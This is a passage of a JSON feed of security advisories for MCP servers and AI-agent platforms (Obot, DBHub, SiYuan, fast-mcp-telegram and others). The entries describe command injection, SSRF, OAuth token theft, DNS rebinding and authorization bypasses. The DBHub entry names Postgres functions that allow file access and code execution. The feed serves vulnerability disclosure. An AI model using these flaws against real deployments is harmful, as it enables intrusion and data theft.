      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-55157</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>Token Optimizer MCP measures token savings per AI coding agent, optimizes context, and shares a live local knowledge graph across 16 CLI clients. Prior to version 5.1.0, token-optimizer-mcp is vulnerable to OS command injection in the smart_user tool. Any MCP client that can call the smart_user tool can execute arbitrary shell commands through the username argument of the get-user-info operation. The commands execute with the privileges of the user running the token-optimizer-mcp server. This issue has been patched in version 5.1.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/ooples/token-optimizer-mcp/commit/b4ee96dac799cbfba0a9f9c17844ce9d613cbcc7\">https://github.com/ooples/token-optimizer-mcp/commit/b4ee96dac799cbfba0a9f9c17844ce9d613cbcc7</a></li>\n<li><a href=\"https://github.com/ooples/token-optimizer-mcp/releases/tag/v5.1.0\">https://github.com/ooples/token-optimizer-mcp/releases/tag/v5.1.0</a></li>\n<li><a href=\"https://github.com/ooples/token-optimizer-mcp/security/advisories/GHSA-49mq-fc6q-3h46\">https://github.com/ooples/token-optimizer-mcp/security/advisories/GHSA-49mq-fc6q-3h46</a></li>\n</ul></p>",
      "date_published": "2026-09-28T18:17:23.373Z",
      "date_modified": "2026-10-01T15:17:30.207Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-55096",
      "url": "https://github.com/leshchenko1979/fast-mcp-telegram/commit/e6b3032cfc906e14f5b84f2c2b8ec378eb457e57",
      "title": "[UNKNOWN] CVE-2026-55096: fast-mcp-telegram is a Telegram MCP Server. Prior to version 30.1, the send_message/send_message_to_phone MCP tools acce",
      "summary": "fast-mcp-telegram is a Telegram MCP Server. Prior to version 30.1, the send_message/send_message_to_phone MCP tools acce",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-55096</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>fast-mcp-telegram is a Telegram MCP Server. Prior to version 30.1, the send_message/send_message_to_phone MCP tools accept files as a list of http(s) URLs, which the server downloads and attaches to the outgoing Telegram message. Downloads are guarded by _validate_url_security, an SSRF denylist that checks the URL's literal hostname string but never resolves DNS. The fetch (httpx.AsyncClient.get) does its own resolution at request time. Consequently a hostname that resolves to a loopback / private / link-local address passes the guard and is fetched — even with the secure defaults block_private_ips=True and allow_http_urls=False. Because the fetched body is returned to the attacker as a Telegram file attachment, this is a full-read, exfiltrating SSRF, not blind. This issue has been patched in version 30.1.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/leshchenko1979/fast-mcp-telegram/commit/e6b3032cfc906e14f5b84f2c2b8ec378eb457e57\">https://github.com/leshchenko1979/fast-mcp-telegram/commit/e6b3032cfc906e14f5b84f2c2b8ec378eb457e57</a></li>\n<li><a href=\"https://github.com/leshchenko1979/fast-mcp-telegram/releases/tag/0.30.1\">https://github.com/leshchenko1979/fast-mcp-telegram/releases/tag/0.30.1</a></li>\n<li><a href=\"https://github.com/leshchenko1979/fast-mcp-telegram/security/advisories/GHSA-xr72-j7vj-vp7g\">https://github.com/leshchenko1979/fast-mcp-telegram/security/advisories/GHSA-xr72-j7vj-vp7g</a></li>\n</ul></p>",
      "date_published": "2026-09-28T17:17:50.007Z",
      "date_modified": "2026-10-01T15:17:30.070Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-59563",
      "url": "https://github.com/zscaler/zscaler-mcp-server/pull/41",
      "title": "[UNKNOWN] CVE-2026-59563: Zscaler MCP Server versions 0.7.0 and 0.7.1 has an issue where HMAC confirmation tokens were not bound to the target res",
      "summary": "Zscaler MCP Server versions 0.7.0 and 0.7.1 has an issue where HMAC confirmation tokens were not bound to the target res",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-59563</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>Zscaler MCP Server versions 0.7.0 and 0.7.1 has an issue where HMAC confirmation tokens were not bound to the target resource identifier, allowing an MCP client or agent to replay a token generated for one resource to affect another resource of the same type. This issue is fixed in version 0.7.2.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/zscaler/zscaler-mcp-server/pull/41\">https://github.com/zscaler/zscaler-mcp-server/pull/41</a></li>\n</ul></p>",
      "date_published": "2026-09-28T13:17:22.160Z",
      "date_modified": "2026-09-28T15:17:17.493Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-101084",
      "url": "https://github.com/obot-platform/obot/security/advisories/GHSA-vw82-7fv8-r6gp",
      "title": "[UNKNOWN] CVE-2026-101084: obot versions before v0.21.1 fail to enforce Access Control Rules on the /mcp-connect endpoint, allowing any authenticat",
      "summary": "obot versions before v0.21.1 fail to enforce Access Control Rules on the /mcp-connect endpoint, allowing any authenticat",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-101084</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>obot versions before v0.21.1 fail to enforce Access Control Rules on the /mcp-connect endpoint, allowing any authenticated user to connect to restricted MCP servers if they possess the server ID. Attackers can bypass authorization checks to access and manipulate sensitive backend systems through MCP tool calls using stored OAuth credentials.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/obot-platform/obot/security/advisories/GHSA-vw82-7fv8-r6gp\">https://github.com/obot-platform/obot/security/advisories/GHSA-vw82-7fv8-r6gp</a></li>\n<li><a href=\"https://www.vulncheck.com/advisories/obot-before-0.21.1-authorization-bypass-via-mcp-connect\">https://www.vulncheck.com/advisories/obot-before-0.21.1-authorization-bypass-via-mcp-connect</a></li>\n</ul></p>",
      "date_published": "2026-09-27T21:17:02.163Z",
      "date_modified": "2026-09-30T23:16:57.460Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-101065",
      "url": "https://github.com/obot-platform/obot/security/advisories/GHSA-jj4w-pfgv-4mrm",
      "title": "[UNKNOWN] CVE-2026-101065: Obot is an open-source AI agent/MCP platform. In all versions up to and including commit d7e6970, the Docker quickstart ",
      "summary": "Obot is an open-source AI agent/MCP platform. In all versions up to and including commit d7e6970, the Docker quickstart ",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-101065</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>Obot is an open-source AI agent/MCP platform. In all versions up to and including commit d7e6970, the Docker quickstart command documented in the README starts the container listening on 0.0.0.0:8080 with authentication disabled by default. When authentication is disabled, every request is mapped to a synthetic \"nobody\" user that holds the Owner and Admin roles, so any unauthenticated party who can reach the exposed port obtains full administrative access to the Obot API and UI, including the ability to register and launch attacker-controlled MCP servers. Because the quickstart also mounts /var/run/docker.sock into the container, the MCP runtime backend reachable this way has access to the host's Docker control surface. The fix is documentation-only: the quickstart now enables authentication, and operators who followed the previous instructions should set OBOT_SERVER_ENABLE_AUTHENTICATION=true before exposing the host to any untrusted network.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/obot-platform/obot/security/advisories/GHSA-jj4w-pfgv-4mrm\">https://github.com/obot-platform/obot/security/advisories/GHSA-jj4w-pfgv-4mrm</a></li>\n<li><a href=\"https://www.vulncheck.com/advisories/obot-quickstart-docker-deployment-unauthenticated-admin-access\">https://www.vulncheck.com/advisories/obot-quickstart-docker-deployment-unauthenticated-admin-access</a></li>\n</ul></p>",
      "date_published": "2026-09-27T21:17:02.027Z",
      "date_modified": "2026-09-30T18:18:13.903Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-101064",
      "url": "https://github.com/obot-platform/obot/security/advisories/GHSA-jgh3-fggc-mcpm",
      "title": "[UNKNOWN] CVE-2026-101064: Obot before v0.23.0 contains a server-side request forgery vulnerability in remote MCP server registration that allows p",
      "summary": "Obot before v0.23.0 contains a server-side request forgery vulnerability in remote MCP server registration that allows p",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-101064</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>Obot before v0.23.0 contains a server-side request forgery vulnerability in remote MCP server registration that allows privileged users to specify arbitrary URLs without destination validation. Attackers with Power User or higher roles can coerce Obot to make requests to internal services and cloud metadata endpoints, reading responses in error messages to disclose sensitive credentials.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/obot-platform/obot/security/advisories/GHSA-jgh3-fggc-mcpm\">https://github.com/obot-platform/obot/security/advisories/GHSA-jgh3-fggc-mcpm</a></li>\n<li><a href=\"https://www.vulncheck.com/advisories/obot-before-0.23.0-server-side-request-forgery-via-mcp\">https://www.vulncheck.com/advisories/obot-before-0.23.0-server-side-request-forgery-via-mcp</a></li>\n</ul></p>",
      "date_published": "2026-09-27T21:17:01.893Z",
      "date_modified": "2026-09-28T21:02:16.150Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-101062",
      "url": "https://github.com/obot-platform/obot/security/advisories/GHSA-xwmw-prc4-v3cr",
      "title": "[UNKNOWN] CVE-2026-101062: Obot before v0.23.0 (affected versions <= v0.22.1) running with OBOT_SERVER_ENABLE_AUTHENTICATION=true exposes OAuth dyn",
      "summary": "Obot before v0.23.0 (affected versions <= v0.22.1) running with OBOT_SERVER_ENABLE_AUTHENTICATION=true exposes OAuth dyn",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-101062</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>Obot before v0.23.0 (affected versions <= v0.22.1) running with OBOT_SERVER_ENABLE_AUTHENTICATION=true exposes OAuth dynamic client registration without authentication and without any restriction on the redirect URIs a client may register. Because the authorization flow auto-completes for an already logged-in user with no consent screen, an attacker who registers a client pointing at their own domain and induces a logged-in victim to visit a single crafted authorization URL receives an authorization code at the attacker-controlled redirect URI and can exchange it for an access token and refresh token. The token minted by the MCP OAuth flow carries the victim's full group set in the JWT, and Obot validated only the issuer and not the audience, so the token is accepted as a bearer token against any Obot API endpoint the victim can access rather than being scoped to the requested MCP server, allowing the attacker to read or modify the victim's resources until the token is revoked. v0.23.0 adds a consent screen, restricts MCP OAuth tokens to the MCP involved in the request, and enforces audience validation.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/obot-platform/obot/security/advisories/GHSA-xwmw-prc4-v3cr\">https://github.com/obot-platform/obot/security/advisories/GHSA-xwmw-prc4-v3cr</a></li>\n<li><a href=\"https://www.vulncheck.com/advisories/obot-before-0.23.0-authentication-bypass-via-oauth-dynamic-client-registration\">https://www.vulncheck.com/advisories/obot-before-0.23.0-authentication-bypass-via-oauth-dynamic-client-registration</a></li>\n</ul></p>",
      "date_published": "2026-09-27T21:17:01.617Z",
      "date_modified": "2026-09-30T23:16:57.320Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-101057",
      "url": "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-qwr9-cj2c-v3fv",
      "title": "[UNKNOWN] CVE-2026-101057: utcp-mcp (the MCP plugin of python-utcp) through 1.1.2 connects to the HTTP and WebSocket MCP server URLs given in a cal",
      "summary": "utcp-mcp (the MCP plugin of python-utcp) through 1.1.2 connects to the HTTP and WebSocket MCP server URLs given in a cal",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-101057</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>utcp-mcp (the MCP plugin of python-utcp) through 1.1.2 connects to the HTTP and WebSocket MCP server URLs given in a call template's mcpServers configuration without the ensure_secure_url validation that the HTTP-family plugins apply, so the HTTPS/WSS-or-loopback rule is not enforced. A call template naming a plain-HTTP, non-loopback MCP server URL is dialed as configured, exposing the MCP handshake to network interception and permitting cleartext connections to internal hosts. The mcpServers configuration is operator-authored rather than remote data, and the connection is an MCP handshake rather than an arbitrary request returning a body, which limits practical exploitation; the OAuth2 token_url credential path described in the original report was not reachable in the affected versions, because the OAuth2 handler was never invoked and the call template's auth field was not read. Fixed in utcp-mcp 1.1.3, which validates server URLs before any connection is made.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-qwr9-cj2c-v3fv\">https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-qwr9-cj2c-v3fv</a></li>\n<li><a href=\"https://www.vulncheck.com/advisories/utcp-mcp-before-1.1.3-ssrf-via-unvalidated-mcp-server-url\">https://www.vulncheck.com/advisories/utcp-mcp-before-1.1.3-ssrf-via-unvalidated-mcp-server-url</a></li>\n</ul></p>",
      "date_published": "2026-09-27T18:16:31.823Z",
      "date_modified": "2026-09-30T17:32:07.107Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-100868",
      "url": "https://github.com/penpot/penpot",
      "title": "[UNKNOWN] CVE-2026-100868: Penpot before 2.18.0 binds the MCP server plugin WebSocket bridge to all network interfaces without authentication in si",
      "summary": "Penpot before 2.18.0 binds the MCP server plugin WebSocket bridge to all network interfaces without authentication in si",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-100868</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown, @penpot/mcp</p>\n<p><strong>Details:</strong><br>Penpot before 2.18.0 binds the MCP server plugin WebSocket bridge to all network interfaces without authentication in single-user mode. Unauthenticated attackers on adjacent networks can connect to the WebSocket port to impersonate the Penpot browser plugin, intercept task payloads, and return forged results to the MCP client.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/penpot/penpot\">https://github.com/penpot/penpot</a></li>\n<li><a href=\"https://github.com/penpot/penpot/blob/1d2c37e52c733f74017d90b0fd1ae2d074a5c33d/mcp/packages/server/src/PluginBridge.ts#L52\">https://github.com/penpot/penpot/blob/1d2c37e52c733f74017d90b0fd1ae2d074a5c33d/mcp/packages/server/src/PluginBridge.ts#L52</a></li>\n<li><a href=\"https://github.com/penpot/penpot/commit/b5274a44766d095247037be18c1d1918ac67ddeb\">https://github.com/penpot/penpot/commit/b5274a44766d095247037be18c1d1918ac67ddeb</a></li>\n<li><a href=\"https://github.com/penpot/penpot/security/advisories/GHSA-22qr-rp27-j9wm\">https://github.com/penpot/penpot/security/advisories/GHSA-22qr-rp27-j9wm</a></li>\n</ul></p>",
      "date_published": "2026-09-27T13:16:37.960Z",
      "date_modified": "2026-10-08T16:17:00.783Z",
      "tags": [
        "UNKNOWN",
        "unknown",
        "@penpot/mcp"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-100633",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-9g6v-r3xf-673q",
      "title": "[UNKNOWN] CVE-2026-100633: SiYuan is a self-hosted personal knowledge management system. In versions 3.8.0 through 3.8.3, the MCP file tool's sensi",
      "summary": "SiYuan is a self-hosted personal knowledge management system. In versions 3.8.0 through 3.8.3, the MCP file tool's sensi",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-100633</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>SiYuan is a self-hosted personal knowledge management system. In versions 3.8.0 through 3.8.3, the MCP file tool's sensitive-path guard (util.IsForbiddenAbsPath(), invoked from resolvePath()) is applied only to the allowed root of recursive operations and not to each resolved descendant path — an incomplete fix for GHSA-c8r8-95hg-mp34. An authenticated administrator using the in-app Agent or the external MCP server can therefore bypass the protected-workspace-file denylist: file.grep can return matching lines from non-hidden protected descendants (for example conf/conf.json, TLS keys, data/snippets/conf.json, data/templates/, data/.siyuan/publishAccess.json, notebook .siyuan internals, or the kernel log), file.copy can copy protected descendants to an ordinary path where file.read can then retrieve them, and unzip can overwrite protected descendants using ordinary, lexically contained ZIP member names. Because file.grep is globally classified as a safe action, it receives no per-call confirmation, and the confirmation cards for file.copy and unzip show only the allowed root arguments. This issue is fixed in version 3.8.4. Suggested title: SiYuan 3.8.0 through 3.8.3 Sensitive-Path Guard Bypass in Recursive MCP File Operations.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-9g6v-r3xf-673q\">https://github.com/siyuan-note/siyuan/security/advisories/GHSA-9g6v-r3xf-673q</a></li>\n<li><a href=\"https://www.vulncheck.com/advisories/siyuan-3.8.0-through-3.8.3-path-traversal-via-mcp-file-operations\">https://www.vulncheck.com/advisories/siyuan-3.8.0-through-3.8.3-path-traversal-via-mcp-file-operations</a></li>\n</ul></p>",
      "date_published": "2026-09-26T14:16:44.687Z",
      "date_modified": "2026-10-05T16:17:03.570Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-96526",
      "url": "https://github.com/JMartynov/mcp-vulnerabilities/blob/main/data/vulnerabilities/CVE-2026-96526.json",
      "title": "[UNKNOWN] CVE-2026-96526: The MCP Server for WordPress  WordPress plugin before 1.8.2 does not perform an object-level authorization check on one ",
      "summary": "The MCP Server for WordPress  WordPress plugin before 1.8.2 does not perform an object-level authorization check on one ",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-96526</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>The MCP Server for WordPress  WordPress plugin before 1.8.2 does not perform an object-level authorization check on one of its workflow REST routes, allowing users with the Contributor role to disclose the title and publication status of any post, page or custom post type, including other users' private, draft, pending and scheduled content.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://wpscan.com/vulnerability/79c3ae87-fc63-42b1-bb68-c7420060f9d4/\">https://wpscan.com/vulnerability/79c3ae87-fc63-42b1-bb68-c7420060f9d4/</a></li>\n</ul></p>",
      "date_published": "2026-09-26T07:17:03.333Z",
      "date_modified": "2026-09-28T15:17:09.083Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-96525",
      "url": "https://github.com/JMartynov/mcp-vulnerabilities/blob/main/data/vulnerabilities/CVE-2026-96525.json",
      "title": "[UNKNOWN] CVE-2026-96525: The MCP Server for WordPress  WordPress plugin before 1.8.2 does not perform an ownership or sufficient capability check",
      "summary": "The MCP Server for WordPress  WordPress plugin before 1.8.2 does not perform an ownership or sufficient capability check",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-96525</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>The MCP Server for WordPress  WordPress plugin before 1.8.2 does not perform an ownership or sufficient capability check on its workflow create, update and delete REST routes, allowing users with the Contributor role to modify, delete and create site-wide workflow configuration, including workflows created by administrators.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://wpscan.com/vulnerability/f814fb88-4198-4ba0-972c-658a1d672289/\">https://wpscan.com/vulnerability/f814fb88-4198-4ba0-972c-658a1d672289/</a></li>\n</ul></p>",
      "date_published": "2026-09-26T07:17:03.233Z",
      "date_modified": "2026-09-28T15:17:09.083Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-96524",
      "url": "https://github.com/JMartynov/mcp-vulnerabilities/blob/main/data/vulnerabilities/CVE-2026-96524.json",
      "title": "[UNKNOWN] CVE-2026-96524: The MCP Server for WordPress  WordPress plugin before 1.8.2 does not correctly verify the WordPress REST API nonce for c",
      "summary": "The MCP Server for WordPress  WordPress plugin before 1.8.2 does not correctly verify the WordPress REST API nonce for c",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-96524</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>The MCP Server for WordPress  WordPress plugin before 1.8.2 does not correctly verify the WordPress REST API nonce for cookie-authenticated requests when a condition an attacker can influence is present, allowing unauthenticated attackers to perform administrator-only actions, including creating a new administrator account, by tricking a logged-in administrator into visiting a crafted page.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://wpscan.com/vulnerability/d8e97a77-b70f-41f0-8d1e-0d50b6d878c6/\">https://wpscan.com/vulnerability/d8e97a77-b70f-41f0-8d1e-0d50b6d878c6/</a></li>\n</ul></p>",
      "date_published": "2026-09-26T07:17:03.130Z",
      "date_modified": "2026-09-28T15:17:09.083Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77321",
      "url": "https://github.com/liketrek/TREK/commit/19064b39176660f3be3a2df198c87949504046e2",
      "title": "[UNKNOWN] CVE-2026-77321: TREK is a collaborative travel planner. Prior to 3.3.0, the get_trip_summary tool in server/src/mcp/tools/trips.ts is re",
      "summary": "TREK is a collaborative travel planner. Prior to 3.3.0, the get_trip_summary tool in server/src/mcp/tools/trips.ts is re",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77321</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>TREK is a collaborative travel planner. Prior to 3.3.0, the get_trip_summary tool in server/src/mcp/tools/trips.ts is registered for scoped OAuth MCP tokens without requiring trips:read and returns core trip summary data regardless of the delegated scopes. A token granted only an unrelated capability, such as weather:read, can receive trip metadata, member email addresses from server/src/services/tripService.ts, itinerary days, and accommodations for every trip accessible to the token's user. Cross-user trip authorization remains enforced, but the missing scope check defeats the consented least-privilege boundary and exposes trip content and third-party contact information to an MCP client that was not authorized to read it. This issue is fixed in version 3.3.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/liketrek/TREK/commit/19064b39176660f3be3a2df198c87949504046e2\">https://github.com/liketrek/TREK/commit/19064b39176660f3be3a2df198c87949504046e2</a></li>\n<li><a href=\"https://github.com/liketrek/TREK/pull/1520\">https://github.com/liketrek/TREK/pull/1520</a></li>\n<li><a href=\"https://github.com/liketrek/TREK/releases/tag/v3.3.0\">https://github.com/liketrek/TREK/releases/tag/v3.3.0</a></li>\n<li><a href=\"https://github.com/liketrek/TREK/security/advisories/GHSA-qvw8-w937-vcmq\">https://github.com/liketrek/TREK/security/advisories/GHSA-qvw8-w937-vcmq</a></li>\n</ul></p>",
      "date_published": "2026-09-24T19:17:16.887Z",
      "date_modified": "2026-10-05T16:17:16.157Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-61788",
      "url": "https://github.com/bytebase/dbhub/security/advisories/GHSA-mwwr-p57h-56pf",
      "title": "[UNKNOWN] CVE-2026-61788: DBHub is a database MCP server for Postgres, MySQL, SQL Server, Oracle, MariaDB, SQLite. Prior to version 0.22.6, settin",
      "summary": "DBHub is a database MCP server for Postgres, MySQL, SQL Server, Oracle, MariaDB, SQLite. Prior to version 0.22.6, settin",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-61788</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>DBHub is a database MCP server for Postgres, MySQL, SQL Server, Oracle, MariaDB, SQLite. Prior to version 0.22.6, setting `readonly = true` on the `execute_sql` tool does not make the connection read-only. The connectors are written to set PostgreSQL `default_transaction_read_only=on` (and open SQLite in `readOnly` mode), but that code is gated on a config value that is never populated, so it never runs. The only thing left enforcing read-only is a classifier that inspects the first keyword of each statement. Any `SELECT` that writes or has side effects through a function call passes it. With an ordinary role this allows sequence tampering; with a privileged role it allows writing arbitrary files on the server (`lo_export`), reading arbitrary host files (`pg_read_file`), and remote code execution (`dblink` + `COPY ... TO PROGRAM`). The HTTP transport is unauthenticated and binds to `0.0.0.0` by default, so this is reachable by any network caller of `/mcp`. Version 0.22.6 patches the issue.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/bytebase/dbhub/security/advisories/GHSA-mwwr-p57h-56pf\">https://github.com/bytebase/dbhub/security/advisories/GHSA-mwwr-p57h-56pf</a></li>\n</ul></p>",
      "date_published": "2026-09-24T18:17:16.837Z",
      "date_modified": "2026-09-30T19:57:08.043Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-61742",
      "url": "https://github.com/bytebase/dbhub/security/advisories/GHSA-fm8p-53ww-hf6w",
      "title": "[UNKNOWN] CVE-2026-61742: DBHub is a database MCP server for Postgres, MySQL, SQL Server, Oracle, MariaDB, SQLite. Versions prior to 0.22.5 expose",
      "summary": "DBHub is a database MCP server for Postgres, MySQL, SQL Server, Oracle, MariaDB, SQLite. Versions prior to 0.22.5 expose",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-61742</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>DBHub is a database MCP server for Postgres, MySQL, SQL Server, Oracle, MariaDB, SQLite. Versions prior to 0.22.5 expose an unauthenticated HTTP MCP endpoint when started with the documented HTTP transport mode, for example `--transport http --port 8080`. The HTTP server attempts to protect browser-origin access by checking whether the `Origin` hostname equals the `Host` hostname, then reflecting the validated `Origin` into `Access-Control-Allow-Origin`. This does not stop DNS rebinding. After an attacker-controlled hostname rebinds to a victim-accessible DBHub HTTP server, both `Origin` and `Host` can contain the attacker-controlled hostname, so DBHub accepts the request and dispatches MCP tool calls. As a result, a malicious website can deterministically invoke DBHub MCP tools from the victim's browser without prompt injection or model involvement. With the default demo configuration this can read and write the demo SQLite database; with a real configured database, the same primitive can read, enumerate, and potentially write database contents depending on DBHub's configured tool permissions and database credentials. Version 0.22.5 fixes the issue.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/bytebase/dbhub/security/advisories/GHSA-fm8p-53ww-hf6w\">https://github.com/bytebase/dbhub/security/advisories/GHSA-fm8p-53ww-hf6w</a></li>\n</ul></p>",
      "date_published": "2026-09-24T18:17:16.173Z",
      "date_modified": "2026-09-30T17:32:07.107Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-51994",
      "url": "https://github.com/geelen/mcp-remote",
      "title": "[UNKNOWN] CVE-2026-51994: mcp-remote versions 0.1.32 through 0.1.38 are vulnerable to Server-Side Request Forgery (SSRF) via the resource_metadata",
      "summary": "mcp-remote versions 0.1.32 through 0.1.38 are vulnerable to Server-Side Request Forgery (SSRF) via the resource_metadata",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-51994</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>mcp-remote versions 0.1.32 through 0.1.38 are vulnerable to Server-Side Request Forgery (SSRF) via the resource_metadata URL extracted from a remote MCP server's WWW-Authenticate header</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/geelen/mcp-remote\">https://github.com/geelen/mcp-remote</a></li>\n<li><a href=\"https://github.com/geelen/mcp-remote/security/advisories\">https://github.com/geelen/mcp-remote/security/advisories</a></li>\n<li><a href=\"https://github.com/playb0t/mcp-remote-oauth-security#readme\">https://github.com/playb0t/mcp-remote-oauth-security#readme</a></li>\n<li><a href=\"https://github.com/playb0t/mcp-remote-oauth-security/blob/v1.0.1/advisories/F-01-resource-metadata-ssrf.md\">https://github.com/playb0t/mcp-remote-oauth-security/blob/v1.0.1/advisories/F-01-resource-metadata-ssrf.md</a></li>\n</ul></p>",
      "date_published": "2026-09-24T15:17:22.947Z",
      "date_modified": "2026-09-25T19:17:26.853Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-18875",
      "url": "https://github.com/JMartynov/mcp-vulnerabilities/blob/main/data/vulnerabilities/CVE-2026-18875.json",
      "title": "[UNKNOWN] CVE-2026-18875: IBM Financial Transaction Manager (FTM) for RedHat OpenShift is vulnerable to RAG poisoning via unauthenticated runbook ",
      "summary": "IBM Financial Transaction Manager (FTM) for RedHat OpenShift is vulnerable to RAG poisoning via unauthenticated runbook ",
